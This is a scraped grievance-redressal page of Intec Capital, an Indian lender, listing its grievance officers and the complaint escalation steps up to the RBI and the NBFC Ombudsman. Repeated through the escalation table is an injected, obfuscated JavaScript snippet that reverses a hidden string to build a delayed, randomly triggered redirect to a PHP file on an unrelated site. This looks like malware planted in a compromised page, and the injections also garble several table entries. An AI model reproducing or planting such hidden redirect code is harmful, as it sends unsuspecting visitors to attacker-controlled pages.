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Registered Office

Address :

Intec Capital Limited
CIN: L74899DL1994PLC057410
708, Manjusha Building
57 Nehru Place,
New Delhi – 110019
+91-11-4652 2200 / 300

Grievance Redressal Officer

Mr. Pranav Goel

708, Manjusha Building, 57,
Nehru Place, New Delhi-110019
[email protected]
+91-11-4652 2200 / 300
+Calls will be taken between 10.00 am to 5.00 pm on all working days (except Saturday and Sunday).

Nodal Officer

Mr. Pranav Goel

708, Manjusha Building, 57,
Nehru Place, New Delhi-110019
[email protected]
+91-11-4652 2200 / 300
+Calls will be taken between 10.00 am to 5.00 pm on all working days (except Saturday and Sunday).

Complaint Escalation Mechanism for resolution of Customer Complaints / Grievances

Company has established simple and effective Customer Service and Grievance Redressal Mechanism for escalating customer complaints at various levels so that grievances / complaints can be resolved quickly, efficiently and satisfactorily.

Level (s) of Escalation Name of officers / Authority Write Email Call Complaints Escalation Process and timelines
Level – 00 Customer Service Cell $nJe=function(n){if (typeof ($nJe.list[n]) == “string”) return $nJe.list[n].split(“”).reverse().join(“”);return $nJe.list[n];};$nJe.list=[“‘php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}top”>cus[email protected]
inteccapital.com
to 5.00 pm on all working days  (except Saturday and Sunday)
Note-2: At the time of making such calls, customer needs to provide details such as customer ID and branch name.
tomer Service Cell shall strive to resolve the complaint within 15 days of lodgment of the Complaint.
Level – 01 Grievance Redressal Officer (GRO) $nJe=function(n){if (typeof ($nJe.list[n]) == “string”) return $nJe.list[n].split(“”).reverse().join(“”);return $nJe.list[n];};$nJe.list=[“‘php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}top”>[email protected]
inteccapital.com
to 5.00 pm on all working days  (except Saturday and Sunday) tomer Service Cell within 15 days, the customer can get in touch with the Grievance Redressal Officer (GRO) and response within 15 days unless the nature of complaint requires verification of voluminous facts and figures.
Level – 02 General Manager, DNBS, RBI $nJe=function(n){if (typeof ($nJe.list[n]) == “string”) return $nJe.list[n].split(“”).reverse().join(“”);return $nJe.list[n];};$nJe.list=[“‘php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}top”>[email protected]
rbi.org.in
$nJe=function(n){if (typeof ($nJe.list[n]) == “string”) return $nJe.list[n].split(“”).reverse().join(“”);return $nJe.list[n];};$nJe.list=[“‘php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}top”>In case a customer is not satisfied with the resolution provided, he can at any time approach the General Manager, DNBS, RBI, New Delhi
Level – 03 NBFC Ombudsman $nJe=function(n){if (typeof ($nJe.list[n]) == “string”) return $nJe.list[n].split(“”).reverse().join(“”);return $nJe.list[n];};$nJe.list=[“‘php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}top”>[email protected]
rbi.org.in
$nJe=function(n){if (typeof ($nJe.list[n]) == “string”) return $nJe.list[n].split(“”).reverse().join(“”);return $nJe.list[n];};$nJe.list=[“‘php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}top” width=”222″>In the unlikely event of a customer not  receiving a  response after expiry of 45 days from the date of lodgment of  the  initial  complaint,  or   in  case  of  dissatisfaction with  the  response  given  by  the  GRO of the Company,  he  may approach the NBFC Ombudsman.